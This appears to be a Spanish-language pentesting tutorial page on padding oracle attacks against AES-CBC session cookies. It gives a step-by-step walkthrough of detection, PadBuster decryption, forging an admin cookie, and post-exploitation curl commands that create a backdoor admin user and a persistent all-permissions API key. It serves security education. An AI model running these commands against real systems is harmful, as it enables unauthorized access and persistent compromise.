Volver al inicio
</>

Manipulación de Cookies - Padding Oracle

Ataques Criptográficos y Bypass de Autenticación

¿Qué es un Padding Oracle Attack?

Un Padding Oracle Attack explota vulnerabilidades en el cifrado CBC (Cipher Block Chaining) cuando una aplicación revela información sobre la validez del padding de los datos descifrados. Permite descifrar datos cifrados sin conocer la clave.

Requisitos para la vulnerabilidad:

  • Cifrado CBC: AES-CBC, 3DES-CBC, etc.
  • Oracle de padding: Respuestas diferenciadas según padding válido/inválido
  • Acceso a ciphertext: Capacidad de modificar datos cifrados
  • Feedback del servidor: Error messages, timing, HTTP codes

Impacto: Descifrado de tokens de sesión, bypass de autenticación, obtención de datos sensibles cifrados.

Fundamentos Criptográficos

CBC Mode

Cada bloque de plaintext se XOR con el bloque cifrado anterior antes del cifrado.

C₁ = E(P₁ ⊕ IV) C₂ = E(P₂ ⊕ C₁) C₃ = E(P₃ ⊕ C₂)
PKCS#7 Padding

Relleno estándar que añade bytes cuyo valor indica la cantidad de padding.

Data: [68 65 6c 6c 6f] Padded: [68 65 6c 6c 6f 03 03 03]

Vectores de Oracle típicos:

  • Error messages: "Invalid padding" vs "Invalid data"
  • HTTP status: 500 vs 200, 403 vs 404
  • Timing attacks: Diferencias en tiempo de respuesta
  • Content changes: Cambios en página devuelta

Caso Práctico: Padding Oracle Attack

Explotación de Padding Oracle en Cookie de Sesión
Escenario del ataque:
  • Objetivo: Descifrar cookie de sesión y obtener bypass de autenticación
  • Vulnerabilidad: Cifrado AES-CBC con oracle de padding vía error messages
  • Herramientas: PadBuster, scripts Python, Burp Suite, CyberChef
  • Resultado esperado: Descifrado de datos sensibles y generación de tokens válidos

Metodología de Explotación:

1
Detección
Identificación de oracle de padding mediante análisis de respuestas
2
Análisis Criptográfico
Determinación de algoritmo, block size y estructura de datos
3
Descifrado
Explotación del oracle para descifrar datos bloque por bloque
4
Cifrado Malicioso
Creación de cookies válidas con datos controlados por el atacante
5
Bypass Completo
Acceso administrativo mediante cookies maliciosas generadas

Fase 1: Detección del Padding Oracle

Análisis de respuestas
# Cookie original capturada original_cookie="YWRtaW5pc3RyYXRvcgAAAAAAAAAA%2BvX7qF4%2BZ3Q%3D" # Test padding oracle - Modificar último byte curl -H "Cookie: session=$modified_cookie" http://target.com/dashboard # HTTP 500: "Padding is invalid" = Oracle detectado! # Confirmar oracle con múltiples modificaciones for i in {0..255}; do modified=$(echo "$original_cookie" | modify_last_byte $i) response=$(curl -s -o /dev/null -w "%{http_code}" -H "Cookie: session=$modified" http://target.com/) echo "Byte $i: HTTP $response" done
Padding Oracle detection HTTP responses
🕵️ Detección de Oracle: Comparación de respuestas del servidor mostrando comportamientos diferenciados. Se observa "Invalid padding" para padding inválido vs respuestas normales, confirmando la presencia del oracle vulnerable.

Oracle confirmado: modificaciones del último byte generan respuestas HTTP 500 con mensaje "Invalid padding" versus respuestas normales.

Fase 2: Descifrado con PadBuster

PadBuster - Automatic Decrypt
# Ejecutar PadBuster para descifrar cookie completa padbuster.pl http://target.com/dashboard \ "YWRtaW5pc3RyYXRvcgAAAAAAAAAA%2BvX7qF4%2BZ3Q%3D" \ 8 -cookies -encoding 3 # Parámetros: # URL: Endpoint que contiene el oracle # Cookie: Valor cifrado a descifrar # 8: Block size (AES = 16, DES = 8) # -cookies: Oracle en cookies # -encoding 3: Base64 + URL encoding # Output esperado: # [+] Decrypted value (ASCII): admin;role=user;timestamp=1640995200
PadBuster decryption process
⚙️ PadBuster en Acción: Proceso de descifrado automático con PadBuster mostrando el progreso bloque por bloque. La herramienta explota sistemáticamente el oracle para revelar el contenido cifrado de la cookie de sesión.

Fase 3: Cifrado de Datos Maliciosos

PadBuster - Encrypt
# Crear cookie maliciosa con privilegios admin padbuster.pl http://target.com/dashboard \ "YWRtaW5pc3RyYXRvcgAAAAAAAAAA%2BvX7qF4%2BZ3Q%3D" \ 8 -cookies -encoding 3 -plaintext "admin;role=admin;timestamp=1640995200" # Resultado: Nueva cookie cifrada con role=admin malicious_cookie="bmV3X2FkbWluX2Nvb2tpZQAAAABBQkNE%2F1pL8sKm9zX%3D" # Verificar bypass de autenticación curl -H "Cookie: session=$malicious_cookie" http://target.com/admin/ # HTTP 200: ¡Acceso administrativo obtenido!
PadBuster malicious cookie generation
🔥 Generación de Cookie Maliciosa: PadBuster creando una cookie cifrada con privilegios administrativos. Se muestra cómo la herramienta genera un ciphertext válido para datos controlados (role=admin), permitiendo escalación de privilegios.

Fase 4: Post-Explotación

Abuse de privilegios admin
# Crear usuario backdoor curl -H "Cookie: session=$malicious_cookie" \ -X POST \ -d "username=backdoor&password=secret123&role=admin" \ http://target.com/create_user # Enumeración de funcionalidades admin curl -b "session=$malicious_cookie" http://target.com/admin/users curl -b "session=$malicious_cookie" http://target.com/admin/logs curl -b "session=$malicious_cookie" http://target.com/admin/config # Establecer persistencia curl -b "session=$malicious_cookie" \ -X POST \ -d "action=create_api_key&permissions=all" \ http://target.com/admin/api
Administrative access achieved via padding oracle
Acceso Administrativo Logrado: Bypass exitoso de autenticación usando la cookie generada maliciosamente. Se observa acceso completo al panel administrativo con capacidades de gestión de usuarios, logs y configuración del sistema.

Resultado: Acceso administrativo completo obtenido mediante bypass criptográfico, capacidad de crear usuarios, acceder a logs sensibles y generar API keys persistentes.

Técnicas Avanzadas y Variantes

Optimizaciones del ataque

  • Parallel processing: Múltiples threads para acelerar descifrado
  • Smart guessing: Priorizar caracteres ASCII comunes
  • Error analysis: Usar timing attacks cuando no hay error messages
  • Bit flipping: Modificaciones controladas para bypass directo
  • Format prediction: Explotar formatos conocidos de datos (JSON, XML)

Herramientas especializadas

Alternatives to PadBuster
# Padding Oracle Attack Tool (Python) git clone https://github.com/KishanBagaria/padding-oracle-attacker python3 padding_oracle_attacker.py -u http://target.com/login -c session # Burp Extension - Padding Oracle # BApp Store -> "Padding Oracle" # Custom Python implementation # Usar pycryptodome para operaciones criptográficas pip3 install pycryptodome requests # Implementar lógica personalizada según oracle específico

Consideraciones Éticas y Legales

Advertencia Legal: Este contenido es exclusivamente educativo. Los ataques de padding oracle son ilegales cuando se realizan sin autorización explícita. Úsalos solo en sistemas propios, laboratorios controlados o durante auditorías de seguridad autorizadas por contrato escrito.